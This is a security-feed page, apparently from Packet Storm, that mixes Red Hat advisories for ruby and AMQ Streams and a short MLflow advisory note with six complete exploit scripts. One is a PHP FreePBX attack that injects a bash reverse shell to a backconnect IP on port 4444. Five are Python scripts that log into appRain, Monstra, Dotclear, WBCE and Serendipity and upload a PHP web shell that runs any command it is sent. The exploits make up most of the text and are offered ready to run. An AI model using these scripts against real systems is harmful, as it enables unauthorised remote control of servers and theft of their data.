Red Hat Security Advisory 2024-3546-03 - An update for the ruby:3.1 module is now available for Red Hat Enterprise Linux 8.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_3546.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: ruby:3.1 security, bug fix, and enhancement updateAdvisory ID:        RHSA-2024:3546-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:3546Issue date:         2024-06-03Revision:           03CVE Names:          CVE-2024-27280====================================================================Summary: An update for the ruby:3.1 module is now available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.Security Fix(es):* ruby: RCE vulnerability with .rdoc_options in RDoc (CVE-2024-27281)* ruby: Buffer overread vulnerability in StringIO (CVE-2024-27280)* ruby: Arbitrary memory address read vulnerability with Regex search (CVE-2024-27282)For detailed information on changes in this release, see the Red Hat Enterprise Linux 8.10 Release Notes linked from the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-27280References:https://access.redhat.com/security/updates/classification/#moderatehttps://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/8.10_release_notes/indexhttps://bugzilla.redhat.com/show_bug.cgi?id=2270749https://bugzilla.redhat.com/show_bug.cgi?id=2270750https://bugzilla.redhat.com/show_bug.cgi?id=2276810

Red Hat Security Advisory 2024-3546-03

Remote Code Execution can occur in versions of the MLflow platform running version 1.11.0 or newer, enabling a maliciously crafted MLproject to execute arbitrary code on an end user’s system when run due to unfiltered input.

**MLFlow improper input validation**

High severity GitHub Reviewed Published Jun 4, 2024 to the GitHub Advisory Database • Updated Jun 5, 2024

GHSA-pqcv-qw2r-r859: MLFlow improper input validation

FreePBX suffers from a remote code execution vulnerability. Versions 14, 15, and 16 are all affected.

    # Exploit Title: FreePBX 16 -  Remote Code Execution (RCE) (Authenticated)# Exploit Author: Cold z3ro# Date: 6/1/2024# Tested on: 14,15,16# Vendor: https://www.freepbx.org/<?php////// FREEPBX [14,15,16] API Module Authenticated RCE /// Orginal Difcon || https://www.youtube.com/watch?v=rqFJ0BxwlLI/// Cod[3]d by Cold z3ro ///$url = "10.10.10.186"; // remote host$backconnectip = "192.168.0.2";$port = "4444"; $PHPSESSID = "any valid session even extension";  echo "checking $url\n";  $url = trim($url);  $ch = curl_init();  curl_setopt($ch, CURLOPT_URL, 'http://'.$url.'/admin/ajax.php?module=api&command=generatedocs');  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);  curl_setopt($ch, CURLOPT_TIMEOUT, 2);  curl_setopt($ch, CURLOPT_HTTPHEADER, [    'Referer: http://'.$url.'/admin/config.php?display=api',    'Content-Type: application/x-www-form-urlencoded',  ]);  curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID='.$PHPSESSID);  curl_setopt($ch, CURLOPT_POSTFIELDS, 'scopes=rest&host=http://'.$backconnectip.'/$(bash -1 >%26 /dev/tcp/'.$backconnectip.'/4444 0>%261)');  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  echo $response = curl_exec($ch)."\n";  curl_close($ch);?>

FreePBX 16 Remote Code Execution

appRain CMF version 4.0.5 suffers from a remote shell upload vulnerability.

    # Exploit Title: appRain CMF 4.0.5 - Remote Code Execution (RCE) (Authenticated)# Date: 04/28/2024# Exploit Author: Ahmet Ümit BAYRAM# Vendor Homepage: https://www.apprain.org# Software Link:https://github.com/apprain/apprain/archive/refs/tags/v4.0.5.zip# Version: latest# Tested on: MacOSimport requestsimport sysimport timeimport randomimport stringdef generate_filename():""" Generate a 5-character random string for filename. """return ''.join(random.choices(string.ascii_lowercase, k=5)) + ".inc"def login(site, username, password):print("Logging in...")time.sleep(2)login_url = f"https://{site}/admin/system"session = requests.Session()login_data = {'data[Admin][admin_id]': username,'data[Admin][admin_password]': password}headers = {'Content-Type': 'application/x-www-form-urlencoded'}response = session.post(login_url, data=login_data, headers=headers)if "Logout" in response.text:print("Login Successful!")return sessionelse:print("Login Failed!")sys.exit()def upload_shell(session, site):print("Shell preparing...")time.sleep(2)filename = generate_filename()upload_url = f"https://{site}/admin/filemanager/upload"files = {'data[filemanager][image]': (filename, "<html><body><form method='GET'name='<?php echo basename($_SERVER['PHP_SELF']); ?>'><input type='TEXT'name='cmd' autofocus id='cmd' size='80'><input type='SUBMIT'value='Execute'></form><pre><?php if(isset($_GET['cmd'])){system($_GET['cmd']); } ?></pre></body></html>", 'image/jpeg')}data = {'submit': 'Upload'}response = session.post(upload_url, files=files, data=data)if response.status_code == 200 and "uploaded successfully" in response.text:print(f"Your Shell is Ready: https://{site}/uploads/filemanager/{filename}")else:print("Exploit Failed!")sys.exit()if __name__ == "__main__":print("Exploiting...")time.sleep(2)if len(sys.argv) != 4:print("Usage: python exploit.py sitename.com username password")sys.exit()site = sys.argv[1]username = sys.argv[2]password = sys.argv[3]session = login(site, username, password)upload_shell(session, site)

appRain CMF 4.0.5 Shell Upload

Monstra CMS version 3.0.4 suffers from a remote code execution vulnerability. Original discovery of code execution in this version is attributed to Ishaq Mohammed in December of 2017.

    # Exploit Title: Monstra CMS 3.0.4 - Remote Code Execution (RCE)# Date: 05.05.2024# Exploit Author: Ahmet Ümit BAYRAM# Vendor Homepage: https://monstra.org/# Software Link: https://monstra.org/monstra-3.0.4.zip# Version: 3.0.4# Tested on: MacOSimport requestsimport randomimport stringimport timeimport reimport sysif len(sys.argv) < 4:print("Usage: python3 script.py <url> <username> <password>")sys.exit(1)base_url = sys.argv[1]username = sys.argv[2]password = sys.argv[3]session = requests.Session()login_url = f'{base_url}/admin/index.php?id=dashboard'login_data = {'login': username,'password': password,'login_submit': 'Log+In'}filename = ''.join(random.choices(string.ascii_lowercase + string.digits, k=5))print("Logging in...")response = session.post(login_url, data=login_data)if 'Dashboard' in response.text:print("Login successful")else:print("Login failed")exit()time.sleep(3)edit_url = f'{base_url}/admin/index.php?id=themes&action=add_chunk'response = session.get(edit_url) # CSRF token bulmak için edit sayfasınaerişimtoken_search = re.search(r'input type="hidden" id="csrf" name="csrf" value="(.*?)"', response.text)if token_search:token = token_search.group(1)else:print("CSRF token could not be found.")exit()content = '''<html><body><form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"><input type="TEXT" name="cmd" autofocus id="cmd" size="80"><input type="SUBMIT" value="Execute"></form><pre><?phpif(isset($_GET['cmd'])){system($_GET['cmd']);}?></pre></body></html>'''edit_data = {'csrf': token,'name': filename,'content': content,'add_file': 'Save'}print("Preparing shell...")response = session.post(edit_url, data=edit_data)time.sleep(3)if response.status_code == 200:print(f"Your shell is ready: {base_url}/public/themes/default/{filename}.chunk.php")else:print("Failed to prepare shell.")

Monstra CMS 3.0.4 Remote Code Execution

Dotclear version 2.29 suffers from a remote code execution vulnerability.

    # Exploit Title: Dotclear 2.29 - Remote Code Execution (RCE)# Discovered by: Ahmet Ümit BAYRAM# Discovered Date: 26.04.2024# Vendor Homepage: https://git.dotclear.org/explore/repos# Software Link:https://github.com/dotclear/dotclear/archive/refs/heads/master.zip# Tested Version: v2.29 (latest)# Tested on: MacOSimport requestsimport timeimport randomimport stringfrom bs4 import BeautifulSoupdef generate_filename(extension=".inc"):return ''.join(random.choices(string.ascii_letters + string.digits, k=5)) +extensiondef get_csrf_token(response_text):soup = BeautifulSoup(response_text, 'html.parser')token = soup.find('input', {'name': 'xd_check'})return token['value'] if token else Nonedef login(base_url, username, password):print("Exploiting...")time.sleep(1)print("Logging in...")time.sleep(1)session = requests.Session()login_data = {"user_id": username,"user_pwd": password}login_url = f"{base_url}/admin/index.php?process=Auth"login_response = session.post(login_url, data=login_data)if "Logout" in login_response.text:print("Login Successful!")return sessionelse:print("Login Failed!")return Nonedef upload_file(session, base_url, filename):print("Shell Preparing...")time.sleep(1)boundary = "---------------------------376201441124932790524235275389"headers = {"Content-Type": f"multipart/form-data; boundary={boundary}","X-Requested-With": "XMLHttpRequest"}csrf_token = get_csrf_token(session.get(f"{base_url}/admin/index.php?process=Media").text)payload = (f"--{boundary}\r\n"f"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n"f"2097152\r\n"f"--{boundary}\r\n"f"Content-Disposition: form-data; name=\"xd_check\"\r\n\r\n"f"{csrf_token}\r\n"f"--{boundary}\r\n"f"Content-Disposition: form-data; name=\"upfile[]\"; filename=\"{filename}\"\r\n"f"Content-Type: image/jpeg\r\n\r\n""<html>\n<body>\n<form method=\"GET\" name=\"<?php echobasename($_SERVER['PHP_SELF']); ?>\">\n""<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\">\n<inputtype=\"SUBMIT\" value=\"Execute\">\n""</form>\n<pre>\n<?php\nif(isset($_GET['cmd']))\n{\nsystem($_GET['cmd']);\n}\n?>\n</pre>\n</body>\n</html>\r\n"f"--{boundary}--\r\n")upload_response = session.post(f"{base_url}/admin/index.php?process=Media&sortby=name&order=asc&nb=30&page=1&q=&file_mode=grid&file_type=&plugin_id=&popup=0&select=0",headers=headers, data=payload.encode('utf-8'))if upload_response.status_code == 200:print(f"Your Shell is Ready: {base_url}/public/{filename}")else:print("Exploit Failed!")def main(base_url, username, password):filename = generate_filename()session = login(base_url, username, password)if session:upload_file(session, base_url, filename)if __name__ == "__main__":import sysif len(sys.argv) != 4:print("Usage: python script.py <siteurl> <username> <password>")else:base_url = sys.argv[1]username = sys.argv[2]password = sys.argv[3]main(base_url, username, password)

Dotclear 2.29 Remote Code Execution

WBCE CME version 1.6.2 suffers from a remote code execution vulnerability.

    # Exploit Title: WBCE CMS v1.6.2 - Remote Code Execution (RCE)# Date: 3/5/2024# Exploit Author: Ahmet Ümit BAYRAM# Vendor Homepage: https://wbce-cms.org/# Software Link:https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.2.zip# Version: 1.6.2# Tested on: MacOSimport requestsfrom bs4 import BeautifulSoupimport sysimport timedef login(url, username, password):print("Logging in...")time.sleep(3)with requests.Session() as session:response = session.get(url + "/admin/login/index.php")soup = BeautifulSoup(response.text, 'html.parser')form = soup.find('form', attrs={'name': 'login'})form_data = {input_tag['name']: input_tag.get('value', '') for input_tag inform.find_all('input') if input_tag.get('type') != 'submit'}# Kullanıcı adı ve şifre alanlarını dinamik olarak güncelleform_data[soup.find('input', {'name': 'username_fieldname'})['value']] =usernameform_data[soup.find('input', {'name': 'password_fieldname'})['value']] =passwordpost_response = session.post(url + "/admin/login/index.php", data=form_data)if "Administration" in post_response.text:print("Login successful!")time.sleep(3)return sessionelse:print("Login failed.")print("Headers received:", post_response.headers)print("Response content:", post_response.text[:500]) # İlk 500 karakterreturn Nonedef upload_file(session, url):# Dosya içeriğini ve adını belirleyinprint("Shell preparing...")time.sleep(3)files = {'upload[]': ('shell.inc',"""<html><body><form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"><input type="TEXT" name="cmd" autofocus id="cmd" size="80"><input type="SUBMIT" value="Execute"></form><pre><?phpif(isset($_GET['cmd'])){system($_GET['cmd']);}?></pre></body></html>""", 'application/octet-stream')}data = {'reqid': '18f3a5c13d42c5','cmd': 'upload','target': 'l1_Lw','mtime[]': '1714669495'}response = session.post(url + "/modules/elfinder/ef/php/connector.wbce.php",files=files, data=data)if response.status_code == 200:print("Your Shell is Ready: " + url + "/media/shell.inc")else:print("Failed to upload file.")print(response.text)if __name__ == "__main__":url = sys.argv[1]username = sys.argv[2]password = sys.argv[3]session = login(url, username, password)if session:upload_file(session, url)

WBCE CMS 1.6.2 Remote Code Execution

Serendipity version 2.5.0 suffers from a remote code execution vulnerability.

    # Exploit Title: Serendipity 2.5.0 - Remote Code Execution (RCE)# Discovered by: Ahmet Ümit BAYRAM# Discovered Date: 26.04.2024# Vendor Homepage: https://docs.s9y.org/# Software Link:https://www.s9y.org/latest# Tested Version: v2.5.0 (latest)# Tested on: MacOSimport requestsimport timeimport randomimport stringfrom bs4 import BeautifulSoupdef generate_filename(extension=".inc"):return ''.join(random.choices(string.ascii_letters + string.digits, k=5)) +extensiondef get_csrf_token(response):soup = BeautifulSoup(response.text, 'html.parser')token = soup.find('input', {'name': 'serendipity[token]'})return token['value'] if token else Nonedef login(base_url, username, password):print("Logging in...")time.sleep(2)session = requests.Session()login_page = session.get(f"{base_url}/serendipity_admin.php")token = get_csrf_token(login_page)data = {"serendipity[action]": "admin","serendipity[user]": username,"serendipity[pass]": password,"submit": "Login","serendipity[token]": token}headers = {"Content-Type": "application/x-www-form-urlencoded","Referer": f"{base_url}/serendipity_admin.php"}response = session.post(f"{base_url}/serendipity_admin.php", data=data,headers=headers)if "Add media" in response.text:print("Login Successful!")time.sleep(2)return sessionelse:print("Login Failed!")return Nonedef upload_file(session, base_url, filename, token):print("Shell Preparing...")time.sleep(2)boundary = "---------------------------395233558031804950903737832368"headers = {"Content-Type": f"multipart/form-data; boundary={boundary}","Referer": f"{base_url}/serendipity_admin.php?serendipity[adminModule]=media"}payload = (f"--{boundary}\r\n"f"Content-Disposition: form-data; name=\"serendipity[token]\"\r\n\r\n"f"{token}\r\n"f"--{boundary}\r\n"f"Content-Disposition: form-data; name=\"serendipity[action]\"\r\n\r\n"f"admin\r\n"f"--{boundary}\r\n"f"Content-Disposition: form-data; name=\"serendipity[adminModule]\"\r\n\r\n"f"media\r\n"f"--{boundary}\r\n"f"Content-Disposition: form-data; name=\"serendipity[adminAction]\"\r\n\r\n"f"add\r\n"f"--{boundary}\r\n"f"Content-Disposition: form-data; name=\"serendipity[userfile][1]\";filename=\"{filename}\"\r\n"f"Content-Type: text/html\r\n\r\n""<html>\n<body>\n<form method=\"GET\" name=\"<?php echobasename($_SERVER['PHP_SELF']); ?>\">\n""<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\">\n<inputtype=\"SUBMIT\" value=\"Execute\">\n""</form>\n<pre>\n<?php\nif(isset($_GET['cmd']))\n{\nsystem($_GET['cmd']);\n}\n?>\n</pre>\n</body>\n</html>\r\n"f"--{boundary}--\r\n")response = session.post(f"{base_url}/serendipity_admin.php?serendipity[adminModule]=media", headers=headers,data=payload.encode('utf-8'))if f"File {filename} successfully uploaded as" in response.text:print(f"Your shell is ready: {base_url}/uploads/{filename}")else:print("Exploit Failed!")def main(base_url, username, password):filename = generate_filename()session = login(base_url, username, password)if session:token = get_csrf_token(session.get(f"{base_url}/serendipity_admin.php?serendipity[adminModule]=media"))upload_file(session, base_url, filename, token)if __name__ == "__main__":import sysif len(sys.argv) != 4:print("Usage: python script.py <siteurl> <username> <password>")else:main(sys.argv[1], sys.argv[2], sys.argv[3])

Serendipity 2.5.0 Remote Code Execution

Red Hat Security Advisory 2024-3527-03 - Red Hat AMQ Streams 2.7.0 is now available from the Red Hat Customer Portal. Issues addressed include buffer overflow, denial of service, integer overflow, memory leak, and resource exhaustion vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_3527.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: Red Hat AMQ Streams 2.7.0 release and security update  
Advisory ID:        RHSA-2024:3527-03  
Product:            Red Hat AMQ Streams  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:3527  
Issue date:         2024-05-31  
Revision:           03  
CVE Names:          CVE-2021-3520  
====================================================================

Summary: 

Red Hat AMQ Streams 2.7.0 is now available from the Red Hat Customer Portal.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat AMQ Streams, based on the Apache Kafka project, offers a distributed backbone that allows microservices and other applications to share data with extremely high throughput and extremely low latency. 

This release of Red Hat AMQ Streams 2.7.0 serves as a replacement for Red Hat AMQ Streams 2.7.0, and includes security and bug fixes, and enhancements.

Security Fix(es):

* lz4: memory corruption due to an integer overflow bug caused by memmove argument  (CVE-2021-3520)  
* zstd: Race condition allows attacker to access world-readable destination file (CVE-2021-24032)  
* RocksDB: zstd: mysql: buffer overrun in util.c  (CVE-2022-4899)  
* netty-codec-http: Allocation of Resources Without Limits or Throttling  (CVE-2024-29025)  
* commons-compress: Denial of service caused by an infinite loop for a corrupted DUMP file (CVE-2024-25710)  
* apache-commons-text: variable interpolation RCE (CVE-2022-42889)  
* snappy-java: Missing upper bound check on chunk length in snappy-java can lead to Denial of Service (DoS) impact  (CVE-2023-43642)  
* json-smart: Uncontrolled Resource Consumption vulnerability in json-smart (Resource Exhaustion)  (CVE-2023-1370)  
*  protobuf-java: timeout in parser leads to DoS (CVE-2022-3171)  
* Apache-Commons-BCEL: arbitrary bytecode produced via out-of-bounds writing  (CVE-2022-42920)  
* bc-java: Out of memory while parsing ASN.1 crafted data in org.bouncycastle.openssl.PEMParser class  (CVE-2023-33202)  
* bouncycastle: potential blind LDAP injection attack using a self-signed certificate  (CVE-2023-33201)  
* json-path: stack-based buffer overflow in Criteria.parse method  (CVE-2023-51074)  
* guava: insecure temporary directory creation  (CVE-2023-2976)  
* io.vertx:vertx-core: memory leak when a TCP server is configured with TLS and SNI support (CVE-2024-1300)  
* io.vertx/vertx-core: memory leak due to the use of Netty FastThreadLocal data structures in Vertx (CVE-2024-1023)  
* quarkus-core: Leak of local configuration properties into Quarkus applications  (CVE-2024-2700)

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2021-3520

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=1928090  
https://bugzilla.redhat.com/show_bug.cgi?id=1954559  
https://bugzilla.redhat.com/show_bug.cgi?id=2135435  
https://bugzilla.redhat.com/show_bug.cgi?id=2137645  
https://bugzilla.redhat.com/show_bug.cgi?id=2142707  
https://bugzilla.redhat.com/show_bug.cgi?id=2179864  
https://bugzilla.redhat.com/show_bug.cgi?id=2188542  
https://bugzilla.redhat.com/show_bug.cgi?id=2215229  
https://bugzilla.redhat.com/show_bug.cgi?id=2215465  
https://bugzilla.redhat.com/show_bug.cgi?id=2241722  
https://bugzilla.redhat.com/show_bug.cgi?id=2251281  
https://bugzilla.redhat.com/show_bug.cgi?id=2256063  
https://bugzilla.redhat.com/show_bug.cgi?id=2260840  
https://bugzilla.redhat.com/show_bug.cgi?id=2263139  
https://bugzilla.redhat.com/show_bug.cgi?id=2264988  
https://bugzilla.redhat.com/show_bug.cgi?id=2272907  
https://bugzilla.redhat.com/show_bug.cgi?id=2273281  
https://issues.redhat.com/browse/ENTMQST-5619  
https://issues.redhat.com/browse/ENTMQST-5881  
https://issues.redhat.com/browse/ENTMQST-5882  
https://issues.redhat.com/browse/ENTMQST-5883  
https://issues.redhat.com/browse/ENTMQST-5884  
https://issues.redhat.com/browse/ENTMQST-5885  
https://issues.redhat.com/browse/ENTMQST-5886

Red Hat Security Advisory 2024-3527-03

Red Hat Security Advisory 2024-3500-03 - An update for the ruby:3.0 module is now available for Red Hat Enterprise Linux 8. Issues addressed include HTTP response splitting and denial of service vulnerabilities.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_3500.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: ruby:3.0 security updateAdvisory ID:        RHSA-2024:3500-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:3500Issue date:         2024-05-30Revision:           03CVE Names:          CVE-2021-33621====================================================================Summary: An update for the ruby:3.0 module is now available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.Security Fix(es):* ruby/cgi-gem: HTTP response splitting in CGI (CVE-2021-33621)* ruby: ReDoS vulnerability in URI (CVE-2023-28755)* ruby: ReDoS vulnerability in Time (CVE-2023-28756)* ruby: RCE vulnerability with .rdoc_options in RDoc (CVE-2024-27281)* ruby: Buffer overread vulnerability in StringIO (CVE-2024-27280)* ruby: Arbitrary memory address read vulnerability with Regex search (CVE-2024-27282)For more details about the security issue(s), including the impact, a CVSSscore, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2021-33621References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2149706https://bugzilla.redhat.com/show_bug.cgi?id=2184059https://bugzilla.redhat.com/show_bug.cgi?id=2184061https://bugzilla.redhat.com/show_bug.cgi?id=2270749https://bugzilla.redhat.com/show_bug.cgi?id=2270750https://bugzilla.redhat.com/show_bug.cgi?id=2276810

Tag

#rce